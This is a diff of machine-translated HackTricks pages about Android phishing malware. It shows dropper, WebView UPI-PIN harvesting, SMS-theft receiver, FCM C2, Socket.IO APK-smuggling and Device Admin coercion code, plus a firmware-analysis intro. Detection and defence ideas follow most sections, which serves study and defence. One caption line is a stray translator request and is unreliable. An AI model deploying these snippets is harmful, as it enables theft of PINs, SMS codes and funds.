|
- Isti GitHub repo hostuje APK sa lažnom “Google Play” oznakom koja direktno vodi do fajla
|
||||||
- Dinamične phishing stranice žive na Replit; kanal za daljinske komande koristi Firebase Cloud Messaging (FCM)
|
- Dinamičke phishing stranice hostovane na Replit; daljinski kanal komandi koristi Firebase Cloud Messaging (FCM)
|
||||||
|
|
||||||
### Dropper sa ugrađenim payload-om i offline instalacijom
|
### Dropper with embedded payload and offline install
|
||||||
- Prvi APK je installer (dropper) koji isporučuje pravi malware na `assets/app.apk` i podstiče korisnika da isključi Wi‑Fi/mobilne podatke kako bi oslabio detekciju u oblaku.
|
- Prvi APK je installer (dropper) koji isporučuje stvarni malware u `assets/app.apk` i traži od korisnika da isključi Wi‑Fi/mobilne podatke kako bi umanjio detekciju u cloudu.
|
||||||
- Ugrađeni payload se instalira pod neupadljivim imenom (npr. “Secure Update”). Nakon instalacije, i installer i payload su prisutni kao odvojene aplikacije.
|
- Ugrađeni payload se instalira pod bezazlenim nazivom (npr. “Secure Update”). Nakon instalacije, i installer i payload su prisutni kao odvojene aplikacije.
|
||||||
|
|
||||||
Static triage tip (grep for embedded payloads):
|
Static triage tip (grep for embedded payloads):
|
||||||
```bash
|
```bash
|
||||||
@ -108,8 +108,8 @@ unzip -l sample.apk | grep -i "assets/app.apk"
|
|||||||
# Or:
|
# Or:
|
||||||
zipgrep -i "classes|.apk" sample.apk | head
|
zipgrep -i "classes|.apk" sample.apk | head
|
||||||
```
|
```
|
||||||
### Dinamičko otkrivanje endpointa putem shortlink
|
### Dinamičko otkrivanje endpoint-a putem shortlink
|
||||||
- Malware preuzima plain-text, comma-separated list live endpoints sa shortlinka; jednostavne string transforms proizvode konačni phishing page path.
|
- Malware preuzima plain-text, comma-separated list live endpoints sa shortlink; simple string transforms proizvode finalni phishing page path.
|
||||||
|
|
||||||
Primer (sanitizovano):
|
Primer (sanitizovano):
|
||||||
```
|
```
|
||||||
@ -128,7 +128,7 @@ String smsPost = parts[1];
|
|||||||
String credsPost = upiPage.replace("gate.htm", "addup.php");
|
String credsPost = upiPage.replace("gate.htm", "addup.php");
|
||||||
```
|
```
|
||||||
### WebView-based UPI credential harvesting
|
### WebView-based UPI credential harvesting
|
||||||
- Korak “Make payment of ₹1 / UPI‑Lite” učitava napadački HTML obrazac sa dinamičkog endpointa unutar WebView i hvata osetljiva polja (telefon, banka, UPI PIN) koja se `POST`uju na `addup.php`.
|
- Korak “Make payment of ₹1 / UPI‑Lite” učitava zlonamerni HTML formular sa dinamičkog endpointa unutar WebView-a i hvata osetljiva polja (telefon, banka, UPI PIN) koja se `POST`uju na `addup.php`.
|
||||||
|
|
||||||
Minimal loader:
|
Minimal loader:
|
||||||
```java
|
```java
|
||||||
@ -136,18 +136,18 @@ WebView wv = findViewById(R.id.web);
|
|||||||
wv.getSettings().setJavaScriptEnabled(true);
|
wv.getSettings().setJavaScriptEnabled(true);
|
||||||
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
||||||
```
|
```
|
||||||
### Samo-širenje i presretanje SMS/OTP
|
### Self-propagation and SMS/OTP interception
|
||||||
- Na prvom pokretanju traže se agresivne dozvole:
|
- Agresivne dozvole se traže pri prvom pokretanju:
|
||||||
```xml
|
```xml
|
||||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||||
<uses-permission android:name="android.permission.SEND_SMS"/>
|
<uses-permission android:name="android.permission.SEND_SMS"/>
|
||||||
<uses-permission android:name="android.permission.READ_SMS"/>
|
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||||
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
||||||
```
|
```
|
||||||
- Kontakti se u petlji koriste za masovno slanje smishing SMS-ova sa uređaja žrtve.
|
- Kontakti se u petlji koriste za masovno slanje smishing SMS sa uređaja žrtve.
|
||||||
- Dolazni SMS-ovi se presreću pomoću broadcast receiver-a i otpremaju sa metapodacima (pošiljalac, sadržaj, SIM slot, nasumični ID po uređaju) na `/addsm.php`.
|
- Dolazne SMS poruke se presreću broadcast receiver-om i otpremaju sa metapodacima (pošiljalac, telo poruke, SIM slot, nasumični ID po uređaju) na `/addsm.php`.
|
||||||
|
|
||||||
Skica receiver-a:
|
Receiver sketch:
|
||||||
```java
|
```java
|
||||||
public void onReceive(Context c, Intent i){
|
public void onReceive(Context c, Intent i){
|
||||||
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
|
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
|
||||||
@ -161,8 +161,8 @@ postForm(urlAddSms, new FormBody.Builder()
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### Firebase Cloud Messaging (FCM) kao robustan C2
|
### Firebase Cloud Messaging (FCM) as resilient C2
|
||||||
- Payload se registruje na FCM; push poruke nose polje `_type` koje se koristi kao prekidač za pokretanje akcija (npr. ažuriranje phishing text templates, prebacivanje ponašanja).
|
- Payload se registruje na FCM; push messages nose `_type` polje koje se koristi kao prekidač za pokretanje akcija (npr., update phishing text templates, toggle behaviours).
|
||||||
|
|
||||||
Primer FCM payload:
|
Primer FCM payload:
|
||||||
```json
|
```json
|
||||||
@ -186,28 +186,69 @@ case "smish": sendSmishToContacts(); break;
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### Obrasci za otkrivanje i IOCs
|
### Obrasci otkrivanja i indikatori kompromitovanja (IOCs)
|
||||||
- APK contains secondary payload at `assets/app.apk`
|
- APK sadrži sekundarni payload u `assets/app.apk`
|
||||||
- WebView učitava plaćanje sa `gate.htm` i eksfiltrira na `/addup.php`
|
- WebView učitava payment iz `gate.htm` i eksfiltrira na `/addup.php`
|
||||||
- SMS eksfiltracija na `/addsm.php`
|
- SMS eksfiltracija na `/addsm.php`
|
||||||
- Preuzimanje konfiguracije preko shortlinka (npr. `rebrand.ly/*`) koje vraća CSV endpoints
|
- Preuzimanje konfiguracije pokrenuto shortlinkom (npr. `rebrand.ly/*`) koje vraća CSV endpoint-e
|
||||||
- Aplikacije označene generički kao “Update/Secure Update”
|
- Aplikacije označene kao generičke “Update/Secure Update”
|
||||||
- FCM `data` messages with a `_type` diskriminator u nepouzdanim aplikacijama
|
- FCM `data` poruke sa `_type` diskriminatorom u nepouzdanim aplikacijama
|
||||||
|
|
||||||
### Ideje za detekciju i odbranu
|
### Ideje za detekciju i odbranu
|
||||||
- Obeležiti aplikacije koje traže od korisnika da onemoguće mrežu tokom instalacije i potom side-loaduju drugi APK iz `assets/`.
|
- Označiti aplikacije koje upute korisnike da isključe mrežu tokom instalacije, a zatim side-loaduju drugi APK iz `assets/`.
|
||||||
- Upozoravati na kombinaciju dozvola: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-based payment flows.
|
- Upozoriti na kombinaciju permisija: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-based payment flows.
|
||||||
- Praćenje egress saobraćaja za `POST /addup.php|/addsm.php` na ne-korporativnim hostovima; blokirati poznatu infrastrukturu.
|
- Monitoring izlaznog saobraćaja za `POST /addup.php|/addsm.php` na nekorporativnim hostovima; blokirati poznatu infrastrukturu.
|
||||||
- Mobile EDR pravila: nepouzdana aplikacija koja se registruje za FCM i grana se na `_type` polju.
|
- Mobile EDR pravila: nepouzdana aplikacija koja se registruje za FCM i grananje po `_type` polju.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Android Accessibility/Overlay i zloupotreba Device Admin, ATS automatizacija i orkestracija NFC relay-a – studija slučaja RatOn
|
## Socket.IO/WebSocket-based APK Smuggling + Fake Google Play Pages
|
||||||
|
|
||||||
Kampanja RatOn banker/RAT (ThreatFabric) je konkretan primer kako moderne mobilne phishing operacije kombinuju WebView droppere, Accessibility-vođenu UI automatizaciju, overlay-e/ransom, prinudu putem Device Admin, Automated Transfer System (ATS), preuzimanje crypto wallet-a, pa čak i orkestraciju NFC-relaya. Ovaj odeljak apstrahuje ponovljivo upotrebljive tehnike.
|
Napadači sve češće zamenjuju statičke APK linkove Socket.IO/WebSocket kanalom ugrađenim u namame koje izgledaju kao Google Play. Ovo skriva payload URL, zaobilazi URL/extension filtre i održava realističan install UX.
|
||||||
|
|
||||||
### Faza-1: WebView → native install bridge (dropper)
|
Tipičan tok klijenta zabeležen u realnom svetu:
|
||||||
Napadači prikažu WebView usmeren na napadačevu stranicu i injektuju JavaScript interfejs koji izlaže native installer. Tap na HTML dugme poziva native kod koji instalira drugostepeni APK uključen u assets droppera i zatim ga direktno pokreće.
|
```javascript
|
||||||
|
// Open Socket.IO channel and request payload
|
||||||
|
const socket = io("wss://<lure-domain>/ws", { transports: ["websocket"] });
|
||||||
|
socket.emit("startDownload", { app: "com.example.app" });
|
||||||
|
|
||||||
|
// Accumulate binary chunks and drive fake Play progress UI
|
||||||
|
const chunks = [];
|
||||||
|
socket.on("chunk", (chunk) => chunks.push(chunk));
|
||||||
|
socket.on("downloadProgress", (p) => updateProgressBar(p));
|
||||||
|
|
||||||
|
// Assemble APK client‑side and trigger browser save dialog
|
||||||
|
socket.on("downloadComplete", () => {
|
||||||
|
const blob = new Blob(chunks, { type: "application/vnd.android.package-archive" });
|
||||||
|
const url = URL.createObjectURL(blob);
|
||||||
|
const a = document.createElement("a");
|
||||||
|
a.href = url; a.download = "app.apk"; a.style.display = "none";
|
||||||
|
document.body.appendChild(a); a.click();
|
||||||
|
});
|
||||||
|
```
|
||||||
|
Zašto zaobilazi jednostavne kontrole:
|
||||||
|
- Nije izložen statički APK URL; payload se rekonstruše u memoriji iz WebSocket frames.
|
||||||
|
- URL/MIME/extension filteri koji blokiraju direktne .apk odgovore mogu propustiti binarne podatke tunelovane putem WebSockets/Socket.IO.
|
||||||
|
- Crawleri i URL sandboxes koji ne izvršavaju WebSockets neće preuzeti payload.
|
||||||
|
|
||||||
|
Ideje za otkrivanje i detekciju:
|
||||||
|
- Web/network telemetrija: označiti WebSocket sesije koje prenose velike binarne delove, nakon čega sledi kreiranje Blob-a sa MIME application/vnd.android.package-archive i programatski `<a download>` klik. Tražite klijentske stringove kao socket.emit('startDownload'), i događaje imenovane chunk, downloadProgress, downloadComplete u skriptama stranice.
|
||||||
|
- Play-store spoof heuristike: na domenima koji nisu Google i koji serviraju Play-like stranice, tražite Google Play UI stringove kao http.html:"VfPpkd-jY41G-V67aGc", mešovite jezičke template-e, i lažne “verification/progress” tokove pokretane WS događajima.
|
||||||
|
- Kontrole: blokirajte isporuku APK-a sa porekla koja nisu Google; primenite MIME/extension politike koje obuhvataju WebSocket saobraćaj; očuvajte browser safe-download prompte.
|
||||||
|
|
||||||
|
See also WebSocket tradecraft and tooling:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../../pentesting-web/websocket-attacks.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
|
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn studija slučaja
|
||||||
|
|
||||||
|
Kampanja RatOn banker/RAT (ThreatFabric) je konkretan primer kako moderne mobile phishing operacije kombinuju WebView droppere, Accessibility-driven UI automatizaciju, overlays/ransom, Device Admin prinudu, Automated Transfer System (ATS), preuzimanje crypto wallet-a, pa čak i NFC-relay orkestraciju. Ovaj odeljak apstrahuje ponovo upotrebljive tehnike.
|
||||||
|
|
||||||
|
### Stage-1: WebView → native install bridge (dropper)
|
||||||
|
Napadači prikažu WebView koji pokazuje na napadačevu stranicu i injektuju JavaScript interfejs koji izlaže native installer. Tap na HTML dugme poziva native kod koji instalira second-stage APK uključen u dropper-ove assets i zatim ga direktno pokreće.
|
||||||
|
|
||||||
Minimalni obrazac:
|
Minimalni obrazac:
|
||||||
```java
|
```java
|
||||||
@ -238,22 +279,22 @@ wv.loadUrl("https://attacker.site/install.html");
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
HTML na stranici:
|
Molim vas nalepite HTML sadržaj stranice koji želite da prevedem.
|
||||||
```html
|
```html
|
||||||
<button onclick="bridge.installApk()">Install</button>
|
<button onclick="bridge.installApk()">Install</button>
|
||||||
```
|
```
|
||||||
Након инсталације, dropper покреће payload путем explicit package/activity:
|
Nakon instalacije, dropper pokreće payload putem eksplicitnog package/activity:
|
||||||
```java
|
```java
|
||||||
Intent i = new Intent();
|
Intent i = new Intent();
|
||||||
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
|
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
|
||||||
startActivity(i);
|
startActivity(i);
|
||||||
```
|
```
|
||||||
Hunting idea: untrusted apps calling `addJavascriptInterface()` and exposing installer-like methods to WebView; APK shipping an embedded secondary payload under `assets/` and invoking the Package Installer Session API.
|
Hunting idea: nepouzdane aplikacije koje pozivaju `addJavascriptInterface()` i izlažu metode nalik installeru u WebView; APK koji isporučuje ugrađeni sekundarni payload pod `assets/` i poziva Package Installer Session API.
|
||||||
|
|
||||||
### Consent funnel: Accessibility + Device Admin + follow-on runtime prompts
|
### Consent funnel: Accessibility + Device Admin + follow-on runtime prompts
|
||||||
Stage-2 opens a WebView that hosts an “Access” page. Its button invokes an exported method that navigates the victim to the Accessibility settings and requests enabling the rogue service. Once granted, malware uses Accessibility to auto-click through subsequent runtime permission dialogs (contacts, overlay, manage system settings, etc.) and requests Device Admin.
|
Stage-2 otvara WebView koji hostuje stranicu “Access”. Njeno dugme poziva exported method koja navede žrtvu na Accessibility settings i zahteva omogućavanje rogue service. Kada se to odobri, malware koristi Accessibility da automatski klikne kroz naredne runtime dijaloge za dozvole (contacts, overlay, manage system settings, itd.) i zahteva Device Admin.
|
||||||
|
|
||||||
- Accessibility programmatically helps accept later prompts by finding buttons like “Allow”/“OK” in the node-tree and dispatching clicks.
|
- Accessibility programski pomaže prihvatiti kasnije promptove tako što pronalazi dugmad kao “Allow”/“OK” u node-tree i simulira klikove.
|
||||||
- Overlay permission check/request:
|
- Overlay permission check/request:
|
||||||
```java
|
```java
|
||||||
if (!Settings.canDrawOverlays(ctx)) {
|
if (!Settings.canDrawOverlays(ctx)) {
|
||||||
@ -268,19 +309,19 @@ Vidi takođe:
|
|||||||
../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
|
../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Overlay phishing/otkupnina putem WebView
|
### Overlay phishing/ransom via WebView
|
||||||
Operateri mogu izdavati komande da:
|
Operatori mogu izdavati komande za:
|
||||||
- prikažu overlay preko celog ekrana sa URL-a, ili
|
- prikaz overlay-a preko celog ekrana sa URL-a, ili
|
||||||
- proslede inline HTML koji se učitava u WebView overlay.
|
- prosleđivanje inline HTML-a koji se učitava u WebView overlay.
|
||||||
|
|
||||||
Verovatne upotrebe: prisila (unos PIN-a), otvaranje novčanika radi hvatanja PIN-ova, ransom poruke. Imajte komandu koja osigurava da je dozvola za overlay dodeljena ako nedostaje.
|
Verovatne upotrebe: prisila (PIN entry), otvaranje wallet-a da bi se presreli PINs, ransom messaging. Zadržati komandu koja osigurava da je dozvola za overlay dodeljena ukoliko nedostaje.
|
||||||
|
|
||||||
### Remote control model – tekstualni pseudo-ekran + screen-cast
|
### Remote control model – text pseudo-screen + screen-cast
|
||||||
- Niska propusnost: periodično dump-ovati Accessibility node tree, serijalizovati vidljive tekstove/role/granice i poslati na C2 kao pseudo-ekran (komande poput `txt_screen` jednom i `screen_live` kontinuirano).
|
- Low-bandwidth: periodično dump-ovati Accessibility node tree, serializovati vidljive texts/roles/bounds i poslati na C2 kao pseudo-screen (komande kao `txt_screen` jednom i `screen_live` kontinuirano).
|
||||||
- Visoka verodostojnost: zatražiti MediaProjection i pokrenuti screen-casting/snimanje na zahtev (komande kao `display` / `record`).
|
- High-fidelity: zatražiti MediaProjection i pokrenuti screen-casting/recording po potrebi (komande kao `display` / `record`).
|
||||||
|
|
||||||
### ATS playbook (automatizacija bankovne aplikacije)
|
### ATS playbook (bank app automation)
|
||||||
Za zadatak u JSON formatu, otvoriti bankovnu aplikaciju, upravljati UI preko Accessibility koristeći mešavinu tekstualnih upita i tapova po koordinatama, i uneti žrtvin PIN za plaćanje kada se to zatraži.
|
Na osnovu JSON zadatka, otvoriti bank app, upravljati UI preko Accessibility koristeći kombinaciju text queries i coordinate taps, i uneti payment PIN žrtve kada bude zatraženo.
|
||||||
|
|
||||||
Primer zadatka:
|
Primer zadatka:
|
||||||
```json
|
```json
|
||||||
@ -292,7 +333,7 @@ Primer zadatka:
|
|||||||
"name": "ACME"
|
"name": "ACME"
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Primeri tekstova viđenih u jednom target flow-u (CZ → EN):
|
Primeri tekstova viđenih u jednom ciljanom toku (CZ → EN):
|
||||||
- "Nová platba" → "Nova uplata"
|
- "Nová platba" → "Nova uplata"
|
||||||
- "Zadat platbu" → "Unesi uplatu"
|
- "Zadat platbu" → "Unesi uplatu"
|
||||||
- "Nový příjemce" → "Novi primalac"
|
- "Nový příjemce" → "Novi primalac"
|
||||||
@ -303,36 +344,36 @@ Primeri tekstova viđenih u jednom target flow-u (CZ → EN):
|
|||||||
- "Zaplatit" → "Plati"
|
- "Zaplatit" → "Plati"
|
||||||
- "Hotovo" → "Gotovo"
|
- "Hotovo" → "Gotovo"
|
||||||
|
|
||||||
Operateri takođe mogu proveravati/uvećavati limite transfera putem komandi kao što su `check_limit` i `limit` koje na sličan način prolaze kroz interfejs za limite.
|
Operatori takođe mogu proveravati/povećavati limite transfera putem komandi kao `check_limit` i `limit` koje na sličan način navigiraju UI za limite.
|
||||||
|
|
||||||
### Crypto wallet seed extraction
|
### Ekstrakcija seed fraze kripto novčanika
|
||||||
Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Tok: unlock (ukradeni PIN ili dostavljena lozinka), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.
|
Ciljevi kao MetaMask, Trust Wallet, Blockchain.com, Phantom. Tok: otključavanje (ukradeni PIN ili dostavljena lozinka), navigacija do Security/Recovery, otkriti/prikazati seed frazu, keylog/exfiltrate it. Implementirati selektore osetljive na lokalizaciju (EN/RU/CZ/SK) kako bi se stabilizovala navigacija kroz jezike.
|
||||||
|
|
||||||
### Device Admin coercion
|
### Prisila Device Admin-a
|
||||||
Device Admin APIs se koriste da povećaju mogućnosti PIN-capture i da ometaju žrtvu:
|
Device Admin APIs se koriste za povećanje mogućnosti hvatanja PIN-a i frustriranje žrtve:
|
||||||
|
|
||||||
- Odmah zaključavanje:
|
- Momentalno zaključavanje:
|
||||||
```java
|
```java
|
||||||
dpm.lockNow();
|
dpm.lockNow();
|
||||||
```
|
```
|
||||||
- Istekni trenutni credential da bi se prisilila promena (Accessibility hvata novi PIN/lozinku):
|
- Isteknite trenutne kredencijale da primorate promenu (Accessibility hvata novi PIN/lozinku):
|
||||||
```java
|
```java
|
||||||
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
|
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
|
||||||
```
|
```
|
||||||
- Prisilite otključavanje bez biometrije onemogućavanjem keyguard biometric features:
|
- Primorajte otključavanje bez biometrije onemogućavanjem biometrijskih funkcija keyguard-a:
|
||||||
```java
|
```java
|
||||||
dpm.setKeyguardDisabledFeatures(admin,
|
dpm.setKeyguardDisabledFeatures(admin,
|
||||||
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||||||
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
|
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
|
||||||
```
|
```
|
||||||
Napomena: Mnoge DevicePolicyManager kontrole zahtevaju Device Owner/Profile Owner na novijim Android verzijama; neke OEM izrade mogu biti popustljive. Uvek potvrdi na ciljanom OS/OEM.
|
Napomena: Mnoge DevicePolicyManager kontrole zahtevaju Device Owner/Profile Owner na novijim verzijama Androida; neki OEM buildovi mogu biti popustljivi. Uvek validirajte na ciljnom OS/OEM.
|
||||||
|
|
||||||
### Orkestracija NFC relay-a (NFSkate)
|
### NFC relay orchestration (NFSkate)
|
||||||
Stage-3 može instalirati i pokrenuti eksterni NFC-relay modul (npr. NFSkate) i čak mu predati HTML šablon kojim se vodi žrtva tokom relay-a. Ovo omogućava beskontaktni card-present cash-out uz online ATS.
|
Stage-3 može instalirati i pokrenuti eksterni NFC-relay modul (npr. NFSkate) i čak mu proslediti HTML šablon koji vodi žrtvu tokom relay-a. Ovo omogućava contactless card-present cash-out pored online ATS.
|
||||||
|
|
||||||
Pozadina: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
|
Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
|
||||||
|
|
||||||
### Komandni skup operatora (primer)
|
### Operator command set (sample)
|
||||||
- UI/state: `txt_screen`, `screen_live`, `display`, `record`
|
- UI/state: `txt_screen`, `screen_live`, `display`, `record`
|
||||||
- Social: `send_push`, `Facebook`, `WhatsApp`
|
- Social: `send_push`, `Facebook`, `WhatsApp`
|
||||||
- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
|
- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
|
||||||
@ -343,12 +384,12 @@ Pozadina: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-c
|
|||||||
- NFC: `nfs`, `nfs_inject`
|
- NFC: `nfs`, `nfs_inject`
|
||||||
|
|
||||||
### Ideje za detekciju i odbranu (RatOn-style)
|
### Ideje za detekciju i odbranu (RatOn-style)
|
||||||
- Tragaj za WebViews koje izlažu installer/permission metode preko `addJavascriptInterface()`; stranice koje se završavaju sa “/access” i izazivaju Accessibility promptove.
|
- Pronađite WebView-ove koji koriste `addJavascriptInterface()` i izlažu metode instalera/dozvola; stranice koje se završavaju sa “/access” i pokreću Accessibility promptove.
|
||||||
- Alarmiraj aplikacije koje generišu visokofrekventne Accessibility gestove/klikove ubrzo nakon dobijanja pristupa servisu; telemetrija koja liči na Accessibility node dumps poslatu ka C2.
|
- Upozorite na aplikacije koje generišu visokofrekventne Accessibility geste/klikove ubrzo nakon dobijanja pristupa servisu; telemetrija koja liči na Accessibility node dump-ove poslate na C2.
|
||||||
- Prati promene Device Admin policy-ja u nepouzdanim aplikacijama: `lockNow`, isteka lozinke, togglovi keyguard feature-a.
|
- Pratite promene Device Admin politika u nepouzdanim aplikacijama: `lockNow`, isteka lozinke, prekidači keyguard funkcionalnosti.
|
||||||
- Alarmiraj na MediaProjection promptove iz nekorporativnih aplikacija nakon kojih sledi periodični upload frejmova.
|
- Upozorite na MediaProjection promptove iz nekorporativnih aplikacija koji su praćeni periodičnim upload-ovima frejmova.
|
||||||
- Detektuj instalaciju/pokretanje eksternog NFC-relay app-a koji je pokrenut od strane druge aplikacije.
|
- Detektujte instalaciju/pokretanje eksternog NFC-relay app-a koje je pokrenula druga aplikacija.
|
||||||
- Za banking: primeniti potvrde van kanala (out-of-band), vezivanje za biometriju i limite transakcija otporne na automatizaciju na uređaju.
|
- Za bankarstvo: primenjujte out-of-band potvrde, vezivanje za biometriju i ograničenja transakcija otporna na automatizaciju na uređaju.
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
@ -358,5 +399,8 @@ Pozadina: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-c
|
|||||||
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
|
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
|
||||||
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||||||
- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||||||
|
- [Banker Trojan Targeting Indonesian and Vietnamese Android Users (DomainTools)](https://dti.domaintools.com/banker-trojan-targeting-indonesian-and-vietnamese-android-users/)
|
||||||
|
- [DomainTools SecuritySnacks – ID/VN Banker Trojans (IOCs)](https://github.com/DomainTools/SecuritySnacks/blob/main/2025/BankerTrojan-ID-VN)
|
||||||
|
- [Socket.IO](https://socket.io)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -1,4 +1,4 @@
|
|||||||
# Firmware Analysis
|
# Analiza firmvera
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
@ -6,46 +6,52 @@
|
|||||||
|
|
||||||
### Povezani resursi
|
### Povezani resursi
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
synology-encrypted-archive-decryption.md
|
synology-encrypted-archive-decryption.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Firmware je osnovni softver koji omogućava uređajima da ispravno funkcionišu upravljanjem i olakšavanjem komunikacije između hardverskih komponenti i softvera s kojim korisnici interaguju. Skladišti se u trajnoj memoriji, osiguravajući da uređaj može pristupiti vitalnim uputstvima od trenutka kada se uključi, što dovodi do pokretanja operativnog sistema. Istraživanje i potencijalno modifikovanje firmvera je kritičan korak u identifikaciji sigurnosnih ranjivosti.
|
{{#ref}}
|
||||||
|
../../network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
|
Firmver je osnovni softver koji omogućava uređajima da pravilno funkcionišu tako što upravlja i olakšava komunikaciju između hardverskih komponenti i softvera sa kojim korisnici interaguju. Smešten je u trajnoj memoriji, što osigurava da uređaj može pristupiti ključnim instrukcijama od trenutka uključenja, vodeći do pokretanja operativnog sistema. Ispitivanje i eventualna modifikacija firmvera predstavlja ključni korak u otkrivanju bezbednosnih ranjivosti.
|
||||||
|
|
||||||
## **Prikupljanje informacija**
|
## **Prikupljanje informacija**
|
||||||
|
|
||||||
**Prikupljanje informacija** je kritičan početni korak u razumevanju sastava uređaja i tehnologija koje koristi. Ovaj proces uključuje prikupljanje podataka o:
|
**Prikupljanje informacija** je kritični početni korak u razumevanju sastava uređaja i tehnologija koje koristi. Ovaj proces obuhvata sakupljanje podataka o:
|
||||||
|
|
||||||
- CPU arhitekturi i operativnom sistemu koji koristi
|
- CPU arhitekturi i operativnom sistemu koji pokreće uređaj
|
||||||
- Specifikacijama bootloader-a
|
- specifikacijama bootloader-a
|
||||||
- Rasporedu hardvera i tehničkim listovima
|
- rasporedu hardvera i datasheet-ovima
|
||||||
- Metrikama koda i lokacijama izvora
|
- metriki codebase-a i lokacijama izvornog koda
|
||||||
- Eksternim bibliotekama i tipovima licenci
|
- eksternim bibliotekama i tipovima licenci
|
||||||
- Istorijama ažuriranja i regulatornim sertifikatima
|
- istoriji ažuriranja i regulatornim sertifikatima
|
||||||
- Arhitektonskim i tokovnim dijagramima
|
- arhitektonskim i flow dijagramima
|
||||||
- Procjenama sigurnosti i identifikovanim ranjivostima
|
- bezbednosnim procenama i identifikovanim ranjivostima
|
||||||
|
|
||||||
U tu svrhu, **alatke za otvorene izvore (OSINT)** su neprocenjive, kao i analiza bilo kojih dostupnih komponenti otvorenog koda kroz manuelne i automatske procese pregleda. Alati poput [Coverity Scan](https://scan.coverity.com) i [Semmle’s LGTM](https://lgtm.com/#explore) nude besplatnu statičku analizu koja se može iskoristiti za pronalaženje potencijalnih problema.
|
Za ovu svrhu, alati za **open-source intelligence (OSINT)** su neprocenjivi, kao i analiza dostupnih open-source softverskih komponenti kroz manuelne i automatizovane procese pregleda. Alati kao što su [Coverity Scan](https://scan.coverity.com) i [Semmle’s LGTM](https://lgtm.com/#explore) nude besplatnu statičku analizu koja se može iskoristiti za pronalaženje potencijalnih problema.
|
||||||
|
|
||||||
## **Sticanje firmvera**
|
## **Preuzimanje firmvera**
|
||||||
|
|
||||||
Dobijanje firmvera može se pristupiti na različite načine, svaki sa svojim nivoom složenosti:
|
Dobijanje firmvera može se pristupiti na različite načine, svaki sa sopstvenim nivoom složenosti:
|
||||||
|
|
||||||
- **Direktno** od izvora (razvijača, proizvođača)
|
- **Direktno** od izvora (developer-i, proizvođači)
|
||||||
- **Kreiranjem** prema datim uputstvima
|
- **Sastavljanje** iz datih instrukcija
|
||||||
- **Preuzimanjem** sa zvaničnih sajtova podrške
|
- **Preuzimanje** sa zvaničnih support sajtova
|
||||||
- Korišćenjem **Google dork** upita za pronalaženje hostovanih firmver fajlova
|
- Korišćenjem **Google dork** upita za pronalaženje hostovanih firmware fajlova
|
||||||
- Direktnim pristupom **cloud storage-u**, uz alate poput [S3Scanner](https://github.com/sa7mon/S3Scanner)
|
